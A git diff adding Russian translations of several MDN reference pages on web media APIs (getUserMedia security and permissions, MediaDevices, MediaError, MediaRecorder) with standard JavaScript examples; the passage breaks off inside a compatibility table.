В нем обязательно запрашивается пользовательское разрешение к доступу audio или video источникам. Только контекст документа верхнего уровня, проверенного источника может запросить доступ, используя метод getUserMedia(). Если контексту верхнего уровня явно не дается разрешение для данного {{HTMLElement("iframe")}} используя Feature Policy, пользователю никогда не будет предложено выдать разрешение на использование устройств, пока пользователь самостоятельно не отменит запрет в настройках браузера.

+ +

Дополнительные подробности на тему требований и правил, и как они отражены в контексте выпоняемого кода, о том, как браузеры управляют вопросами конфеденциальности и безопасности читайте далее.

+ +

Конфеденциальность пользователя

+ +

Поскольку, програмный интерфейс  затрагивает вопросы конфеденциальности и безопасности, в спецификации, для метода  getUserMedia() содержатся особенные требования для управления уведомлениями и разрешениями пользователя. Сначала метод getUserMedia() должен всегда запрашивать пользовательское разрешение до начала сбора данных потоков камеры и микрофона. Браузер может использовать функциональность одного разрешения на домен, но в первый раз браузер обязательно должен получить разрешение пользователя. 

+ +

Не менее важны правила уведомления. Браузеры обязательно отображают индикатор, который указывает на использование камеры или микрофона, выше или сверху любого, уже имеющегося индикатора аппартного средства (если присутствует). Они также должны отображать индикатор того, что разрешение уже выдано для использования устройств, даже, если устройства не используются в настоящий момент.

+ +

К примеру, в Firefox, в панели адреса отображается красная пульсирующая иконка, указывающая на использование аппаратного средства. Серая иконка указывает на выданное разрешение, но не использование аппаратного средства в данный момент. Физический (явный) свет устройства указывает на текущее использование (активизацию) аппаратного средства. Если отключить камеру програмно, свет активности камеры отключится, указывая на то, что она запись не производит, без отмены разрешение на использования, и включиться после запуска камеры в работу.

+ +

Безопасность

+ +

Существуют несколько способов управлением безопасностью и контролем в  {{Glossary("user agent")}}. Для этого можно использовать метод getUserMedia() , который возвращает объекты ошибок, относящиеся к безопасности.

+ +
+

 Примечание :  Модель безопасности для метода getUserMedia() находиться в процессе разработки. Первоначально спроектированный механизм безопасности находиться в процессе замещения Feature Policy, поэтому различные браузеры имеют разный уровень поддержки безопасности, используют различные механизмы. Вам необходимо осторожно тестировать свой код на различных устройствах и браузерах, чтобы удостовериться в его уверенной работоспособности.

+
+ +

Feature Policy (Функцианальная политика)

+ +

Функция управление безопасностью (Feature Policy) протокола {{Glossary("HTTP")}} находиться в процессе введения в браузеры, с поддержкой, доступной в различной степени во многих браузерах (но не всегда включенной в настройках по умолчанию, как в   Firefox). Метод getUserMedia() - один из методов, требующий использования функциональной политики и вашему коду нужно быть готовым к работе с ним. К примеру, чтобы метод был доступен в документах не высокого уровня, разработчику нужно использовать либо атрибут {{htmlattrxref("allow", "iframe")}} на элементе {{HTMLElement("iframe")}} , который использует getUserMedia(), либо  {{HTTPHeader("Feature-Policy")}} заголовок для страниц , передающихся с сервера,  которые используют getUserMedia().

+ +

Два разрешения, которые обращаются к getUserMedia() - camera и microphone.

+ +

К примеру, строка  HTTP заголовка позволит использовать камеру документу и любым встроенныем  {{HTMLElement("iframe")}} элементам, которые загружаются  из одного источника:

+ +
Feature-Policy: camera 'self'
+ +

Строка ниже, запрашивает доступ к микрофону для текушего источника и указанном в заголовке источнике https://developer.mozilla.org:

+ +
Feature-Policy: microphone 'self' https://developer.mozilla.org
+ +

Если используется getUserMedia() внутри элемента <iframe>, можно запросить разрешение только для этого фрейма, которое явно более безопасее, чем  запрашивать более общее разрешение. Здесь нам нужно использовать и камеру и микрофон:

+ +
<iframe src="https://mycode.example.net/etc" allow="camera;microphone">
+</iframe>
+ +

Прочитайте наше руководство Применение функциональной политики , изучив подробнее то, как это работает.

+ +

Безопасность на основе шифрования

+ +

Метод getUserMedia() доступен только для безопасных контекстов. Безопасный контекст - это уверенность браузера в том, что  документ был загружен безопасно, используя  HTTPS/TLS, и имеет ограниченную подверженность небезопасным контекстам. Если документ не загружен в безопасном контексте, свойство  {{domxref("navigator.mediaDevices")}} равно undefined, делая невозможным доступ к методу getUserMedia(). Попытка получить доступ в такой ситуации приведет к ошибке TypeError.

+ +

Безопасность источника документа

+ +

Существуют несколько небезопасных способа загрузить документ, который может попытыться вызвать метод getUserMedia(). Ниже представлены примеры ситуаций, в которых getUserMedia() не разрешается вызывать:

+ + + +

Примеры

+ +

Ширина и высота

+ +

Этот пример выбирает указанное разрешение камеры и присваивает ссылку на объект {{domxref("MediaStream")}} свойству srcObject элемента video .

+ +
// Выбирает разрешение камеры близкое к 1280x720.
+var constraints = { audio: true, video: { width: 1280, height: 720 } };
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(mediaStream) {
+  var video = document.querySelector('video');
+  video.srcObject = mediaStream;
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) { console.log(err.name + ": " + err.message); }); // always check for errors at the end.
+
+ +

Использование новых  API в старых браузерах

+ +

Ниже, находятся примеры, использующие navigator.mediaDevices.getUserMedia(), с полифилами для работы в старых браузерах. Обратите внимание, что эти полифилы не корректируют все различия в синтаксисе, и не работают во всех браузерах. Рекомендуется использовать библиотеку  adapter.js , как производственный полифил.

+ +
// Старые браузеры могут не реализовывать свойство mediaDevices,
+//поэтому вначале присваеваем свойству ссылку на пустой объект
+
+if (navigator.mediaDevices === undefined) {
+  navigator.mediaDevices = {};
+}
+
+// Некоторые браузеры частично реализуют свойство mediaDevices, поэтому
+//мы не можем присвоить ссылку на объект свойству getUserMedia, поскольку
+//это переопределит существующие свойства. Здесь, просто добавим свойство
+//getUserMedia , если оно отсутствует.
+
+if (navigator.mediaDevices.getUserMedia === undefined) {
+  navigator.mediaDevices.getUserMedia = function(constraints) {
+
+    // Сначала, если доступно, получим устаревшее getUserMedia
+
+  var getUserMedia = navigator.webkitGetUserMedia || navigator.mozGetUserMedia;
+
+   //Некоторые браузеры не реализуют его, тогда вернем отмененный промис
+   // с ошибкой для поддержания последовательности интерфейса
+
+    if (!getUserMedia) {
+      return Promise.reject(new Error('getUserMedia is not implemented in this browser'));
+    }
+
+    // Иначе, обернем промисом устаревший navigator.getUserMedia
+
+    return new Promise(function(resolve, reject) {
+      getUserMedia.call(navigator, constraints, resolve, reject);
+    });
+  }
+}
+
+navigator.mediaDevices.getUserMedia({ audio: true, video: true })
+.then(function(stream) {
+  var video = document.querySelector('video');
+  // Устаревшие браузеры могут не иметь свойство srcObject
+  if ("srcObject" in video) {
+    video.srcObject = stream;
+  } else {
+    // Не используем в новых браузерах
+    video.src = window.URL.createObjectURL(stream);
+  }
+  video.onloadedmetadata = function(e) {
+    video.play();
+  };
+})
+.catch(function(err) {
+  console.log(err.name + ": " + err.message);
+});
+
+ +

Частота кадров

+ +

В некоторых случаях может быть желательна более низкая частота кадров, например, при передаче WebRTC с ограничениями полосы пропускания

+ +
var constraints = { video: { frameRate: { ideal: 10, max: 15 } } };
+
+ +

Передняя и задняя камеры

+ +

На мобильных устройствах.

+ +
var front = false;
+document.getElementById('flip-button').onclick = function() { front = !front; };
+
+var constraints = { video: { facingMode: (front? "user" : "environment") } };
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Media Capture', '#dom-mediadevices-getusermedia', 'MediaDevices.getUserMedia()')}}{{Spec2('Media Capture')}}Начальное определение
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.MediaDevices.getUserMedia")}}

+ +

Смотри так же

+ + + +
+
+
diff --git a/files/ru/web/api/mediadevices/index.html b/files/ru/web/api/mediadevices/index.html new file mode 100644 index 0000000000..3708d64823 --- /dev/null +++ b/files/ru/web/api/mediadevices/index.html @@ -0,0 +1,237 @@ +--- +title: MediaDevices +slug: Web/API/MediaDevices +tags: + - API + - Devices + - Interface + - Media + - Media Capture and Streams API + - Media Streams API + - MediaDevices + - NeedsTranslation + - Reference + - TopicStub + - WebRTC +translation_of: Web/API/MediaDevices +--- +
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
+ +

Интерфейс MediaDevices предоставляет доступ к подключенным медиа-устройствам ввода, таким как камера, микрофон, а также к совместному использованию экрана. В сущности, он позволяет получать доступ к любому устройству медиа-данных.

+ +

Свойства

+ +

Наследует свойство родителя {{domxref("EventTarget")}}.

+ +

Обработчики событий

+ +
+
{{ domxref("MediaDevices.ondevicechange") }}
+
Это обработчик события {{event("devicechange")}}. Это событие доставляется в объек MediaDevices когда медиа-устройство ввода или вывода подключается или отключается на компьютере пользователя.
+
+ +

Методы

+ +

Наследуемый метод родителя {{domxref("EventTarget")}}.

+ +
+
{{ domxref("EventTarget.addEventListener()") }}
+
Регистрирует обработчик событий для определенного типа событий.
+
{{ domxref("MediaDevices.enumerateDevices()") }}
+
Получает массив информации о медиа-устройстве ввода-вывода.
+
{{domxref("MediaDevices.getSupportedConstraints()")}}
+
Возвращает объект, соответствующий {{domxref("MediaTrackSupportedConstraints")}}, указывающий, какие ограничительные свойства поддерживаются в интерфейсе {{domxref("MediaStreamTrack")}}. Смотри {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}}, чтобы узнать больше об ограничениях и их использовании.
+
{{ domxref("MediaDevices.getUserMedia()") }}
+
С разрешения пользователя (у пользователя будет запрошено разрешение) включает камеру, микрофон или общий доступ к экрану и предоставляет {{domxref("MediaStream")}}, содержащий входящую видео- и/или звуковую дорожку. 
+
+ +
+
{{ domxref("EventTarget.removeEventListener()") }}
+
Удаляет обработчик событий.
+
+ +

Пример

+ +
'use strict';
+
+// Помещаем переменные в глобальную область видимости, чтобы сделать их доступными для консоли браузера
+var video = document.querySelector('video');
+var constraints = window.constraints = {
+  audio: false,
+  video: true
+};
+var errorElement = document.querySelector('#errorMsg');
+
+navigator.mediaDevices.getUserMedia(constraints)
+.then(function(stream) {
+  var videoTracks = stream.getVideoTracks();
+  console.log('Получил поток с ограничениями:', constraints);
+  console.log('Использую видео-устройство: ' + videoTracks[0].label);
+  stream.onended = function() {
+    console.log('Трансляция закончилась');
+  };
+  window.stream = stream; // Делаем переменную доступной для консоли браузера
+  video.srcObject = stream;
+})
+.catch(function(error) {
+  if (error.name === 'ConstraintNotSatisfiedError') {
+    errorMsg('Разрешение ' + constraints.video.width.exact + 'x' +
+        constraints.video.height.exact + ' px не поддерживается устройством.');
+  } else if (error.name === 'PermissionDeniedError') {
+    errorMsg('Разрешения на использование камеры и микрофона не были предоставлены. ' +
+      'Вам нужно разрешить странице доступ к вашим устройствам,' +
+      ' чтобы демо-версия работала.');
+  }
+  errorMsg('getUserMedia error: ' + error.name, error);
+});
+
+function errorMsg(msg, error) {
+  errorElement.innerHTML += '<p>' + msg + '</p>';
+  if (typeof error !== 'undefined') {
+    console.error(error);
+  }
+}
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}{{Spec2('Media Capture')}}Основная спецификация
+ +

Совместимость с браузерами

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerMicrosoft EdgeOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop("36.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
enumerateDevices(){{CompatChrome(51.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
getSupportedConstraints(){{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
ondevicechange and devicechange events{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(51)}}[1]{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatGeckoMobile("36.0")}}2.2{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
enumerateDevices(){{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
getSupportedConstraints(){{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatGeckoMobile(50)}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+ +

[1] Поддержка события devicechange и {{domxref("MediaDevices.ondevicechange")}} появилась Firefox 51, но только для Mac и по умолчанию отключена. Её можно включить, установив параметру media.ondevicechange.enabled значение ИСТИНА. Для Linux и Windows поддержка добавлена и включена по умолчанию с Firefox 52.

+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mediaelementaudiosourcenode/index.html b/files/ru/web/api/mediaelementaudiosourcenode/index.html new file mode 100644 index 0000000000..1566b65859 --- /dev/null +++ b/files/ru/web/api/mediaelementaudiosourcenode/index.html @@ -0,0 +1,119 @@ +--- +title: MediaElementAudioSourceNode +slug: Web/API/MediaElementAudioSourceNode +translation_of: Web/API/MediaElementAudioSourceNode +--- +

{{APIRef("Web Audio API")}}

+ +
+

Интерфейс MediaElementAudioSourceNode представляет собой аудио узел {{domxref("AudioNode")}}, созданный из HTML5 {{ htmlelement("audio") }} или {{ htmlelement("video") }} элемента. Он является источником звука.

+
+ +

MediaElementSourceNode не имеет входов, а только один выход, и может быть создан методом {{domxref("AudioContext.createMediaElementSource")}}. Количество каналов в выходном сигнале равно числу каналов аудио, на которое ссылается {{domxref("HTMLMediaElement")}} используемый для создания узла, или 1, если {{domxref("HTMLMediaElement")}} не имеет аудио.

+ + + + + + + + + + + + + + + + +
Количество входов0
Количество выходов1
Количество каналовзависит от содержимого медиа элемента {{domxref("HTMLMediaElement")}}, переданному методу {{domxref("AudioContext.createMediaElementSource")}} при создании узла.
+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("AudioNode")}}.

+ +

Методы

+ +

Наследует методы родителя, {{domxref("AudioNode")}}.

+ +

Пример

+ +

{{page("/ru/docs/Web/API/AudioContext.createMediaElementSource","Example")}}

+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Audio API', '#the-mediaelementaudiosourcenode-interface', 'MediaElementAudioSourceNode')}}{{Spec2('Web Audio API')}} 
+ +

Поддержка в браузерах

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка14 {{property_prefix("webkit")}}{{CompatGeckoDesktop(25)}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)		6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatGeckoMobile(25)}}1.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/mediaerror/code/index.html b/files/ru/web/api/mediaerror/code/index.html new file mode 100644 index 0000000000..a08f5c0752 --- /dev/null +++ b/files/ru/web/api/mediaerror/code/index.html @@ -0,0 +1,103 @@ +--- +title: MediaError.code +slug: Web/API/MediaError/code +tags: + - API + - HTML DOM + - MediaError + - Видео + - Код + - Медиа + - Ошибки + - Свойство + - Справка + - аудио +translation_of: Web/API/MediaError/code +--- +
{{APIRef("HTML DOM")}}
+ +

Свойство MediaError.code доступно только для чтения, возвращает числовое значение, представляющее тип ошибки, возникшей на элементе носителя. Чтобы получить текстовую строку с конкретной диагностической информацией, см. раздел {{domxref("MediaError.message")}}.

+ +

Синтаксис

+ +
var myError = mediaError.code;
+ +

Значение

+ +

Числовое значение, указывающее общий тип возникшей ошибки. Возможные значения описаны ниже, в разделе {{anch ("Media error code constants")}}.

+ +

Константы кода ошибки носителя

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameValueDescription
MEDIA_ERR_ABORTED1Извлечение связанного ресурса было прервано запросом пользователя.
MEDIA_ERR_NETWORK2Произошла какая-то сетевая ошибка, которая помешала успешному извлечению носителя, несмотря на то, что он был ранее доступен.
MEDIA_ERR_DECODE3 +

Несмотря на то, что ранее ресурс был определен, как используемый, при попытке декодировать медиаресурс произошла ошибка.

+
MEDIA_ERR_SRC_NOT_SUPPORTED4 +

Связанный объект ресурса или поставщика мультимедиа (например, {{domxref ("MediaStream")}}) был признан неподходящим.

+
+ +

Пример

+ +

В этом примере создается элемент {{HTMLElement("video")}}, устанавливается обработчик ошибок для него, а затем устанавливается атрибут элемента {{htmlattrxref("src", "video")}} для видеоресурса, который должен присутствовать в элементе. Обработчик ошибок просто выводит сообщение

+ +
var obj = document.createElement('video');
+obj.onerror = function() {console.log("Ошибка с носителями информации: " + obj.error.code);}
+obj.src="https://example.com/blahblah.mp4";
+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG', "#dom-mediaerror-code", "MediaError.code")}}{{Spec2('HTML WHATWG')}}Первоначальное определение
+ +

Совместимость браузера

+ + + +

{{Compat("api.MediaError.code")}}

+ +

Изучите также

+ + diff --git a/files/ru/web/api/mediaerror/index.html b/files/ru/web/api/mediaerror/index.html new file mode 100644 index 0000000000..6cdbd3932b --- /dev/null +++ b/files/ru/web/api/mediaerror/index.html @@ -0,0 +1,64 @@ +--- +title: MediaError +slug: Web/API/MediaError +tags: + - API + - HTML DOM + - MediaError + - Видео + - Интерфейс + - Медиа + - Ошибки + - Справка + - аудио +translation_of: Web/API/MediaError +--- +

{{APIRef("HTML DOM")}}

+ +

Интерфейс MediaError представляет собой ошибку, возникшую при обработке мультимедиа в HTML-элементе мультимедиа на основе {{domxref ("HTMLMediaElement")}}, например {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}.

+ +

Объект MediaError описывает ошибку в общих чертах, используя числовой код, классифицирующий тип ошибки, и сообщение, которое предоставляет конкретную диагностику о том, что пошло не так.

+ +

Свойства

+ +

Этот интерфейс не наследует никаких свойств.

+ +
+
{{domxref("MediaError.code")}}
+
Число, которое представляет общий тип ошибки, которая произошла, следующим образом: {{page("/ru/docs/Web/API/MediaError/code", "Константы кода ошибки носителя")}}
+
{{domxref("MediaError.message")}}
+
Объект {{domxref("DOMString")}} содержит читаемую человеком строку, которая предоставляет конкретную диагностическую информацию, чтобы помочь читателю понять возникшее состояние ошибки; в частности, это не просто краткое изложение того, что означает Код ошибки, но фактическая диагностическая информация, помогающая понять, что именно пошло не так. Этот текст и его формат не определяются спецификацией и будут варьироваться от одного {{Glossary("user agent")}} к другому. Если диагностика недоступна или объяснение не может быть предоставлено, это значение является пустой строкой ("").
+
+ +

Методы

+ +

Этот интерфейс не реализует и не наследует никаких методов и не имеет своих собственных.

+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "embedded-content.html#mediaerror", "MediaError")}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость браузера

+ + + +

{{Compat("api.MediaError")}}

+ +

Изучите также

+ + diff --git a/files/ru/web/api/mediarecorder/index.html b/files/ru/web/api/mediarecorder/index.html new file mode 100644 index 0000000000..4957359f56 --- /dev/null +++ b/files/ru/web/api/mediarecorder/index.html @@ -0,0 +1,185 @@ +--- +title: MediaRecorder +slug: Web/API/MediaRecorder +translation_of: Web/API/MediaRecorder +--- +

{{APIRef("Media Recorder API")}}

+ +

The MediaRecorder это интерфейс MediaStream Recording API представляющий функциональность для простой записи медиа. Создается с использованием {{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}} конструктора.

+ +

Конструктор

+ +
+
{{domxref("MediaRecorder.MediaRecorder", "MediaRecorder()")}}
+
Создает новый объект MediaRecorder, получающий {{domxref("MediaStream")}} для записи. Доступны такие параметры, как установка типа MIME контейнера ("video/webm","video/mp4" и другие) и скорости передачи аудио-и видеодорожек или одной общей скорости.
+
+ +

Свойства

+ +
+
{{domxref("MediaRecorder.mimeType")}} {{readonlyInline}}
+
Возвращает тип MIME, который был выбран в качестве контейнера записи для объекта MediaRecorder при его создании. 
+
{{domxref("MediaRecorder.state")}} {{readonlyInline}}
+
Возвращает текущее состояние объекта MediaRecorder (inactive, recording, или paused.)
+
{{domxref("MediaRecorder.stream")}} {{readonlyInline}}
+
Возвращает поток который был передан конструктору при создании объекта MediaRecorder
+
{{domxref("MediaRecorder.ignoreMutedMedia")}}
+
Показывает записывает ли MediaRecorder дорожку {{domxref("MediaStreamTrack")}} если она отключена. Если аттрибут равен false, MediaRecorder будет записывать тишину для аудио и черные кадры для видео. По умолчанию равно false
+
{{domxref("MediaRecorder.videoBitsPerSecond")}} {{readonlyInline}}
+
Возвращает скорость кодирования видео. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).
+
{{domxref("MediaRecorder.audioBitsPerSecond;")}} {{readonlyInline}}
+
Возвращает скорость кодирования аудио. Она может отличаться от скорости, определенной в конструкторе (если была предоставлена).
+
+ +

Методы

+ +
+
{{domxref("MediaRecorder.canRecordMimeType()", "MediaRecorder.isTypeSupported()")}}
+
Возвращает {{domxref("Boolean")}} значение показывающее поддерживается ли MIME тип текущим user agent.
+
{{domxref("MediaRecorder.pause()")}}
+
Приостанавливает запись медиа.
+
{{domxref("MediaRecorder.requestData()")}}
+
Запрашивает {{domxref("Blob")}} содержащий сохраненные данные полученные  с начала записи (или с последнего вызова requestData()). После вызова этого метода, запись продолжается, но в новый Blob.
+
{{domxref("MediaRecorder.resume()")}}
+
Возобновляет запись медиа после паузы.
+
{{domxref("MediaRecorder.start()")}}
+
Начинает запись медиа. В этот метод можно передать аргумент timeslice со значением в миллисекундах. Если он определен, то медиа будет записываться в отдельные блоки заданной продолжительности, вместо записи в один большой блок.
+
{{domxref("MediaRecorder.stop()")}}
+
Останавливает запись, после чего запускается событие {{event("dataavailable")}}, содержащее последний Blob сохраненных данных.
+
+ +

Обработчики событий

+ +
+
{{domxref("MediaRecorder.ondataavailable")}}
+
Вызывает обработчик {{event("dataavailable")}} события, которое запускается раз в timeslice миллисекунд (или, если timeslice не был задан - по окончанию записи). Событие типа {{domxref("BlobEvent")}}, сдержит записанное медиа в {{domxref("BlobEvent.data", "data")}}.  Вы можете использовать обработчик для сбора и других действий в зависимости от полученных данных.
+
{{domxref("MediaRecorder.onerror")}}
+
{{domxref("EventHandler")}} вызывается для обработки события {{event("recordingerror")}}, включающего отчет об ошибках во время записи. Это фатальные ошибки, приводящие к остановке записи. Полученное событие основано на интерфейсе {{domxref("MediaRecorderErrorEvent")}}, свойство которого {{domxref("MediaRecorderErrorEvent.error", "error")}} содержит {{domxref("DOMException")}} описывающие произошедшие ошибки.
+
{{domxref("MediaRecorder.onpause")}}
+
{{domxref("EventHandler")}} вызывается для обработки события {{event("pause")}}, случившегося во время приостановки медиа.
+
{{domxref("MediaRecorder.onresume")}}
+
{{domxref("EventHandler")}} вызывается для обработки события {{event("resume")}}, случившегося во время возбновления записи.
+
{{domxref("MediaRecorder.onstart")}}
+
{{domxref("EventHandler")}}вызывается для обработки события {{event("start")}}, случившегося во время начала записи.
+
{{domxref("MediaRecorder.onstop")}}
+
{{domxref("EventHandler")}} вызывается для обработки события {{event("stop")}}, случившегося во время завершения записи, а так же при окончании {{domxref("MediaStream")}} — или после вызова {{domxref("MediaRecorder.stop()")}}
+
+ +

Пример

+ +
navigator.getUserMedia = (navigator.getUserMedia ||
+                          navigator.mozGetUserMedia ||
+                          navigator.msGetUserMedia ||
+                          navigator.webkitGetUserMedia);
+
+
+if (navigator.getUserMedia) {
+  console.log('getUserMedia supported.');
+
+  var constraints = { audio: true };
+  var chunks = [];
+
+  var onSuccess = function(stream) {
+    var mediaRecorder = new MediaRecorder(stream);
+
+    visualize(stream);
+
+    record.onclick = function() {
+      mediaRecorder.start();
+      console.log(mediaRecorder.state);
+      console.log("recorder started");
+      record.style.background = "red";
+      record.style.color = "black";
+    }
+
+    stop.onclick = function() {
+      mediaRecorder.stop();
+      console.log(mediaRecorder.state);
+      console.log("recorder stopped");
+      record.style.background = "";
+      record.style.color = "";
+      // mediaRecorder.requestData();
+    }
+
+    mediaRecorder.onstop = function(e) {
+      console.log("data available after MediaRecorder.stop() called.");
+
+      var clipName = prompt('Enter a name for your sound clip');
+
+      var clipContainer = document.createElement('article');
+      var clipLabel = document.createElement('p');
+      var audio = document.createElement('audio');
+      var deleteButton = document.createElement('button');
+
+      clipContainer.classList.add('clip');
+      audio.setAttribute('controls', '');
+      deleteButton.innerHTML = "Delete";
+      clipLabel.innerHTML = clipName;
+
+      clipContainer.appendChild(audio);
+      clipContainer.appendChild(clipLabel);
+      clipContainer.appendChild(deleteButton);
+      soundClips.appendChild(clipContainer);
+
+      audio.controls = true;
+      var blob = new Blob(chunks, { 'type' : 'audio/ogg; codecs=opus' });
+      chunks = [];
+      var audioURL = window.URL.createObjectURL(blob);
+      audio.src = audioURL;
+      console.log("recorder stopped");
+
+      deleteButton.onclick = function(e) {
+        evtTgt = e.target;
+        evtTgt.parentNode.parentNode.removeChild(evtTgt.parentNode);
+      }
+    }
+
+    mediaRecorder.ondataavailable = function(e) {
+      chunks.push(e.data);
+    }
+  }
+
+  var onError = function(err) {
+    console.log('The following error occured: ' + err);
+  }
+
+  navigator.getUserMedia(constraints, onSuccess, onError);
+} else {
+   console.log('getUserMedia not supported on your browser!');
+}
+ +
+

Код выше был взят из демо Web Dictaphone. Некоторые строчки были пропущены для краткости. Полный код смотрите здесь

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording", "#MediaRecorderAPI")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Совместимоть с браузерами

+ + + +

{{Compat("api.MediaRecorder")}}

+ +

Еще по теме

+ + diff --git a/files/ru/web/api/mediarecorder/mediarecorder/index.html b/files/ru/web/api/mediarecorder/mediarecorder/index.html new file mode 100644 index 0000000000..eaae4075bc --- /dev/null +++ b/files/ru/web/api/mediarecorder/mediarecorder/index.html @@ -0,0 +1,157 @@ +--- +title: MediaRecorder.MediaRecorder() +slug: Web/API/MediaRecorder/MediaRecorder +translation_of: Web/API/MediaRecorder/MediaRecorder +--- +
{{APIRef("MediaStream Recording")}}
+ +

MediaRecorder() конструктор {{domxref("MediaRecorder")}} объекта который будет делать запись переданного {{domxref("MediaStream")}}.

+ +

Синтаксис

+ +
var mediaRecorder = new MediaRecorder(stream[, options]);
+ +

Параметры

+ +
+
stream
+
Объект потока {{domxref("MediaStream")}} источника из которого будет производиться запись. Может быть потоком, созданным {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getUserMedia()")}} или {{HTMLElement("audio")}}, {{HTMLElement("video")}} или {{HTMLElement("canvas")}} элементами.
+
+

options {{optional_inline}}

+
+
+

Объект, содержащий следующие свойства:

+ +
    +
  • mimeType:  mime тип, определяет формат результата записи, который нужно использовать в качестве контейнера для создаваемого объекта MediaRecorder. Можно просто указать формат контейнера, а браузер сам выберет нужный кодек для записи аудио/видео, или испоьзуйте параметр codecs или параметр profiles для расширения информации об использовании и тонкой конфигурации кодеков. Приложения, предварительно, могут проверять поддержку браузерами определенного типа из свойства mimeType , вызывая метод {{domxref("MediaRecorder.isTypeSupported()")}}.
    • +
  • audioBitsPerSecond: Скорость записи медиа данных аудио.
    • +
  • videoBitsPerSecond: Скорость записи медиа данных видео.
    • +
  • bitsPerSecond: Скорость записи медиаданных аудио и видео. Может определяться вместо верхних двух. Если определяется вместе с одним из свойств выше, имеет меньший приоритет, и используется  вместо отсутствующей настройки выше..
    • +
+ +
+

 Если значения битов в секунду не указаны для видео и / или аудио, для видео по умолчанию принимается значение 2,5 Мбит / с, а для аудио по умолчанию используется адаптивный режим, в зависимости от частоты дискретизации и количества каналов.

+
+
+
+ +

Исключения

+ +
+
NotSupportedError
+
Определяет MIME тип, не поддерживающийся браузером.
+
+ +

Пример

+ +

В этом примере показано, как создать медиа рекордер для указанного потока, чья скорость передачи звука составляет 128 Кбит / с, а скорость передачи видео - 2,5 Мбит / с. Записанные мультимедийные данные будут храниться в контейнере MP4 (поэтому, если вы соберете порции мультимедийных данных и сохраните их на диск, они будут в файле с разрешением MP4).

+ +
...
+
+
+if (navigator.mediaDevices.getUserMedia) {
+  var constraints = { audio: true, video: true };
+  var chunks = [];
+
+  var onSuccess = function(stream) {
+    var options = {
+      audioBitsPerSecond : 128000,
+      videoBitsPerSecond : 2500000,
+      mimeType : 'video/mp4'
+    }
+    var mediaRecorder = new MediaRecorder(stream,options);
+    m = mediaRecorder;
+
+...
+ +

Спецификации

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("MediaStream Recording")}}{{Spec2("MediaStream Recording")}}Initial definition
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(47)}}{{CompatGeckoDesktop("25.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
options object{{CompatNo}}{{CompatGeckoDesktop("43.0")}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
